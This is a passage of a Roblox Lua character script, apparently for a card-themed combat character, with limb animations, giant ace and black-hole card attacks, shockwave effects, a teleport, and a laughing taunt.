CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) end end end)() bigcard = Instance.new("Part",Torso) bigcard.Material = "Neon" bigcard.Transparency = 1 bigcard.BrickColor = BrickColor.new("White") bigcard.Size = Vector3.new(15.65, 23.84, 0.3) bigcard.CFrame = Root.CFrame * CFrame.new(0,18,0) bigcard.Anchored = true SOUND(bigcard,236989198,6,false,1) ace = aces[math.random(1,#aces)] acer = Instance.new("Decal",bigcard) acer.Texture = "rbxassetid://"..ace acer.Transparency = 1 acer.Face = "Front" ace2 = acer:Clone() ace2.Parent = bigcard ace2.Face = "Back" table.insert(FadeIn,acer) table.insert(FadeIn,ace2) table.insert(FadeIn,bigcard) for i = 1, 30 do RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end ws = 10 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) clickdisallowance = false coroutine.wrap(function() mouse.Button1Down:connect(function() if clickdisallowance then return end if clickdebounce then return end wait(.2) clickdebounce = true end) end)() while not clickdebounce do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) bigcard.CFrame = Root.CFrame * CFrame.new(0,18,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10 + 2 *math.sin(sine/12)),math.rad(10 - 2*math.sin(sine/12))),.3) swait() end g1:Remove() ws = 0 for i = 1, 13 do bigcard.CFrame = bigcard.CFrame:lerp(Root.CFrame * CFrame.new(0,18,3) * CFrame.Angles(math.rad(10),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0.2) * CFrame.Angles(math.rad(160),math.rad(10),math.rad(10)),.3) swait() end locationpart = Instance.new("Part",bigcard) locationpart.Size = Vector3.new(1,1,1) locationpart.Transparency = 1 locationpart.CanCollide = false locationpart.Anchored = true locationpart.CFrame = Root.CFrame * CFrame.new(0,-3,-21) shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = 0 shockwave.BrickColor = BrickColor.new("White") shockwave.CFrame = CFrame.new(locationpart.Position) shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(5,2,5) shockwavemesh.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave,4) shockwave2 = Instance.new("Part", Torso) shockwave2.Size = Vector3.new(1,1,1) shockwave2.CanCollide = false shockwave2.Anchored = true shockwave2.Transparency = 0 shockwave2.BrickColor = BrickColor.new("White") shockwave2.CFrame = CFrame.new(locationpart.Position) shockwavemesh2 = Instance.new("SpecialMesh", shockwave2) shockwavemesh2.Scale = Vector3.new(5,2,5) shockwavemesh2.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave2,4) shockwave3 = Instance.new("Part", Torso) shockwave3.Size = Vector3.new(1,1,1) shockwave3.CanCollide = false shockwave3.Anchored = true shockwave3.Transparency = 0 shockwave3.BrickColor = BrickColor.new("White") shockwave3.CFrame = CFrame.new(locationpart.Position) shockwavemesh3 = Instance.new("SpecialMesh", shockwave3) shockwavemesh3.Scale = Vector3.new(5,2,5) shockwavemesh3.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave3,4) shockwave4 = Instance.new("Part", Torso) shockwave4.Size = Vector3.new(1,1,1) shockwave4.CanCollide = false shockwave4.Anchored = true shockwave4.Transparency = 0 shockwave4.BrickColor = BrickColor.new("White") shockwave4.CFrame = CFrame.new(locationpart.Position) shockwavemesh4 = Instance.new("SpecialMesh", shockwave4) shockwavemesh4.Scale = Vector3.new(5,2,5) shockwavemesh4.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave4,4) Hit = damagealll(20,locationpart.Position) for _,v in pairs(Hit) do v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(locationpart.Position,torso.Position).lookVector*110 removeuseless:AddItem(vel,.1) end coroutine.wrap(function() for i = 1, 90 do shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+12),0) shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(1.5,.1,1.5) shockwave.Transparency = shockwave.Transparency + 0.025 shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+6),0) shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(1.25,.25,1.25) shockwave2.Transparency = shockwave2.Transparency + 0.04 shockwave3.CFrame = shockwave3.CFrame * CFrame.Angles(0,math.rad(0+12),0) shockwavemesh3.Scale = shockwavemesh3.Scale + Vector3.new(.75,.75,.75) shockwave3.Transparency = shockwave3.Transparency + 0.035 shockwave4.CFrame = shockwave3.CFrame * CFrame.Angles(0,math.rad(0+5),0) shockwavemesh4.Scale = shockwavemesh3.Scale + Vector3.new(2.5,.5,2.5) shockwave4.Transparency = shockwave3.Transparency + 0.03 swait() end end)() SOUND(locationpart,765590102,6,false,2) for i = 1, 24 do bigcard.CFrame = bigcard.CFrame:lerp(Root.CFrame * CFrame.new(0,-3,-21) * CFrame.Angles(math.rad(90),0,0),.25) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(.2,.2,.2) * CFrame.Angles(0,0,0),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1, 1.1, 0.4) * CFrame.Angles(math.rad(-75), math.rad(15), math.rad(4)), 0.5) swait() end for i = 1, 40 do bigcard.Transparency = bigcard.Transparency + 0.2 acer.Transparency = acer.Transparency + .2 ace2.Transparency = ace2.Transparency + .2 swait() end attacking = false debounce = false appi = false clickdisallowance = false clickdebounce = false ws = 10 bigcard:Remove() clean() end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='u' then if levitate then return end if mouse.Target ~= nil then end if debounce then return end debounce = true attacking = true appi = true ws = 0 appi = true coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) end end end)() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p) for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end cardportal = Instance.new("Part", Torso) cardportal.Size = Vector3.new(0.5, 0.5, 0.5) cardportal.Material = "Neon" cardportal.BrickColor = BrickColor.new("White") cardportal.Transparency = 0 cardportal.Anchored = true cardportal.CanCollide = false cardportalMESH = Instance.new("SpecialMesh", cardportal) cardportalMESH.MeshType = "Cylinder" cardportalMESH.Scale = Vector3.new(.2,0.01,0.01) cardportal.CFrame = CFrame.new(mouse.Hit.p) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90)) for i = 1, 10 do cardportalMESH.Scale = cardportalMESH.Scale + Vector3.new(0,4,4) swait() end bigzcard = Instance.new("Part",Torso) bigzcard.Material = "Neon" bigzcard.Transparency = 0 bigzcard.BrickColor = BrickColor.new("White") bigzcard.Size = Vector3.new(10, 15, 0.3) bigzcard.CFrame = cardportal.CFrame * CFrame.new(-8,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90)) bigzcard.Anchored = true SOUND(bigzcard,1888686669,6,false,1) acer = Instance.new("Decal",bigzcard) acer.Texture = "rbxassetid://1881287656" acer.Transparency = 0 acer.Face = "Front" ace2 = acer:Clone() ace2.Parent = bigzcard ace2.Face = "Back" spinning = true coroutine.wrap(function() while spinning do bigzcard.CFrame = bigzcard.CFrame * CFrame.Angles(0,math.rad(0+5),0) swait() end end)() for i = 1, 20 do bigzcard.CFrame = bigzcard.CFrame * CFrame.new(0,-.9,0) swait() end coroutine.wrap(function() for i = 1, 10 do cardportalMESH.Scale = cardportalMESH.Scale - Vector3.new(0,4,4) swait() end cardportal:Remove() end)() wait(.7) ace3 = Instance.new("Decal",bigzcard) ace3.Texture = "rbxassetid://1880203893" ace3.Transparency = 1 ace3.Face = "Front" ace4 = ace3:Clone() ace4.Parent = bigzcard ace4.Face = "Back" bigzcard2 = Instance.new("Part",Torso) bigzcard2.Material = "Neon" bigzcard2.Transparency = 1 bigzcard2.BrickColor = BrickColor.new("Really black") bigzcard2.Size = Vector3.new(10, 15, 0.29) bigzcard2.CFrame = bigzcard.CFrame bigzcard2.CanCollide = false bigzcard2.Anchored = true coroutine.wrap(function() while spinning do bigzcard2.CFrame = bigzcard2.CFrame * CFrame.Angles(0,math.rad(0+5),0) swait() end end)() blz = bl[math.random(1,#bl)] woos = Instance.new("Sound",Torso) woos.SoundId = "rbxassetid://"..blz woos.Volume = 4 woos:Play() for i = 1, 20 do bigzcard2.Transparency = bigzcard2.Transparency - .05 bigzcard.Transparency = bigzcard.Transparency + .05 ace3.Transparency = ace3.Transparency - 0.05 ace4.Transparency = ace4.Transparency - 0.05 acer.Transparency = acer.Transparency + 0.05 ace2.Transparency = ace2.Transparency + 0.05 wait() end ace3.Parent = bigzcard2 ace3.Face = "Front" ace4.Parent = bigzcard2 ace4.Face = "Back" bigzcard:Remove() spinning = false blackholeactive = true coroutine.wrap(function() blackhole={} orbzfade={} for i = 1, 100 do orbz = Instance.new("Part", Torso) orbz.Shape = "Ball" orbz.Material = "Neon" orbz.BrickColor = BrickColor.new("Really black") orbz.Size = Vector3.new(2,2,2) orbz.Anchored = true orbz.CanCollide = false removeuseless:AddItem(orbz,1) orbz.CFrame = bigzcard2.CFrame * CFrame.new(math.random(-25,25),math.random(-25,25),math.random(-25,25)) * CFrame.Angles(math.rad(-180,180),math.rad(-180,180),math.rad(-180,180)) table.insert(blackhole,orbz) table.insert(orbzfade,orbz) for i,v in pairs(blackhole) do v.CFrame = v.CFrame:lerp(CFrame.new(bigzcard2.Position),.05) end for i,v in pairs(orbzfade) do v.Transparency = v.Transparency + 0.025 end swait() end end)() coroutine.wrap(function() while blackholeactive do local Hit = damagealll(45,bigzcard2.Position) for _,v in pairs(Hit) do coroutine.wrap(function() wait(.15) if blackholeactive == false then return end v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) end)() torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") torso.CFrame = torso.CFrame:lerp(CFrame.new(bigzcard2.Position),.1) end wait() end end)() for i = 1, 100 do bigzcard2.CFrame = bigzcard2.CFrame * CFrame.Angles(0,math.rad(0+20),0) cataclysmics = Instance.new("Part", Torso) cataclysmics.Shape = "Ball" cataclysmics.Material = "Neon" cataclysmics.BrickColor = BrickColor.new("Really black") cataclysmics.Size = Vector3.new(11,11,11) cataclysmics.Transparency = .3 cataclysmics.Anchored = true cataclysmics.CanCollide = false cataclysmics.CFrame = CFrame.new(bigzcard2.Position) table.insert(LessSize,cataclysmics) table.insert(keyYtransparency,cataclysmics) removeuseless:AddItem(cataclysmics,1) swait() end coroutine.wrap(function() for i = 1, 20 do for i,v in pairs(orbzfade) do v.Transparency = v.Transparency + 0.05 end swait() end end)() explosiontable={} ringtable={} ringtable2={} soundboks = Instance.new("Part",Torso) soundboks.CanCollide = false soundboks.Anchored = true soundboks.Transparency = 1 soundboks.CFrame = bigzcard2.CFrame removeuseless:AddItem(soundboks,6) SOUND(soundboks,472579737,6,false,1) blackholeactive = false bigzcard2:Remove() Hit = damagealll(60,soundboks.Position) for _,v in pairs(Hit) do v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(soundboks.Position,torso.Position).lookVector*200 removeuseless:AddItem(vel,.1) end coroutine.wrap(function() shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = 0 shockwave.BrickColor = BrickColor.new("Really black") shockwave.CFrame = CFrame.new(soundboks.Position) * CFrame.new(0,-6,0) shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(5,2,5) shockwavemesh.MeshId = "rbxassetid://20329976" shockwave2 = Instance.new("Part", Torso) shockwave2.Size = Vector3.new(1,1,1) shockwave2.CanCollide = false shockwave2.Anchored = true shockwave2.Transparency = 0 shockwave2.BrickColor = BrickColor.new("Really black") shockwave2.CFrame = CFrame.new(soundboks.Position) * CFrame.new(0,-6,0) shockwavemesh2 = Instance.new("SpecialMesh", shockwave2) shockwavemesh2.Scale = Vector3.new(5,2,5) shockwavemesh2.MeshId = "rbxassetid://20329976" for i = 1, 40 do shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+15),0) shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+8),0) shockwave.Transparency = shockwave.Transparency + 0.025 shockwave2.Transparency = shockwave2.Transparency + 0.025 shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(9,.9,9) shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(8,.8,8) swait() end shockwave:Remove() shockwave2:Remove() end)() for i = 1, 4 do explosion = Instance.new("Part", Torso) explosion.Shape = "Ball" explosion.Size = Vector3.new(1,1,1) explosion.Transparency = 0 explosion.CanCollide = false explosion.Anchored = true explosion.BrickColor = BrickColor.new("Really black") explosion.Material = "Neon" explosion.CFrame = CFrame.new(bigzcard2.Position) table.insert(ExtremeM,explosion) table.insert(SlowlyFade,explosion) removeuseless:AddItem(explosion,4) ring = Instance.new("Part", Torso) ring.Size = Vector3.new(5, 5, 5) ring.Transparency = 0 ring.BrickColor = BrickColor.new("Really black") ring.Anchored = true ring.CanCollide = false ring.CFrame = bigzcard2.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180))) ringh = Instance.new("SpecialMesh", ring) ringh.MeshId = "http://www.roblox.com/asset/?id=3270017" ringh.Scale = Vector3.new(2, 2, .1) table.insert(keyYsize,ringh) table.insert(keyYtransparency,ring) removeuseless:AddItem(ring,4) swait() end wait(1.2) clean() keyYsize={} keyYtransparency={} blackholev = false appi = false g1:Remove() ws = 10 attacking = false debounce = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='t' then if levitate then if tauntdebounce then return end tauntdebounce = true laughing = true coroutine.wrap(function() while laughing do local b1 = Instance.new("BillboardGui",Head) b1.Size = UDim2.new(0,4,0,1.6) b1.StudsOffset = Vector3.new(0,0,0) b1.Name = "laff" b1.AlwaysOnTop = true b1.Adornee = Head removeuseless:AddItem(b1,3) local b2 = Instance.new("TextLabel",b1) b2.BackgroundTransparency = 1 b2.Text = "HaHaHaHaHaHa..." b2.Font = "Garamond" b2.TextSize = 0 b2.Name = "lafftext" b2.TextStrokeTransparency = 0 b2.TextColor3 = BrickColor.new("Really red").Color b2.TextStrokeColor3 = Color3.new(0,0,0) b2.Size = UDim2.new(1,0,.5,0) table.insert(laughingtable,b2) removeuseless:AddItem(b1,2) coroutine.wrap(function() if zxc then return end zxc = true while true do swait() for i,v in pairs(Head:GetChildren()) do if v.Name == "laff" then v.StudsOffset = v.StudsOffset + Vector3.new(math.random(-2,2),.3,math.random(-2,2)) end end for i,v in pairs(laughingtable) do v.TextTransparency = v.TextTransparency + .025 v.TextStrokeTransparency = v.TextStrokeTransparency + 0.25 v.TextSize = v.TextSize + 2 v.Rotation = v.Rotation + .1 end end end)() swait(10) end end)() laugh = laughs[math.random(1,#laughs)] laughy = Instance.new("Sound",Head) laughy.SoundId = "rbxassetid://"..laugh laughy.Volume = 10 laughy:Play() wait(1) wait(laughy.TimeLength) laughing = false laughy:Remove() tauntdebounce = false else if mouse.Target ~= nil then if debounce then return end attacking = true ghost() tps = Instance.new("Sound", Torso) tps.Volume = 5 tps.SoundId = "rbxassetid://1894958339" tps:Play() removeuseless:AddItem(tps,2) g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p) removeuseless:AddItem(g1,.05) Root.CFrame = CFrame.new(mouse.Hit.p) * CFrame.new(0,3.3,0) wait(.1) attacking = false debounce = false end end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='q' then if levitate then return end if mouse.Target ~= nil and mouse.Target.Parent ~= Character and mouse.Target.Parent.Parent ~= Character and mouse.Target.Parent:FindFirstChildOfClass("Humanoid") ~= nil and mouse.Target.Parent:FindFirstChildOfClass("Humanoid").Health ~= 0 then if debounce then return end debounce = true attacking = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) end end end)() enemyhum = mouse.Target.Parent:FindFirstChildOfClass("Humanoid") ETorso = enemyhum.Parent:FindFirstChild("Torso") or enemyhum.Parent:FindFirstChild("LowerTorso") EHead = enemyhum.Parent:FindFirstChild("Head") g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) brick = Instance.new("Part",Torso) brick.Anchored = true brick.CanCollide = false brick.Material = "Neon" brick.Transparency = 1 brick.BrickColor = BrickColor.new("White") brick.Size = Vector3.new(8,.3,12) brick.CFrame = Root.CFrame * CFrame.new(math.random(-15,15),-3,math.random(-15,15)) 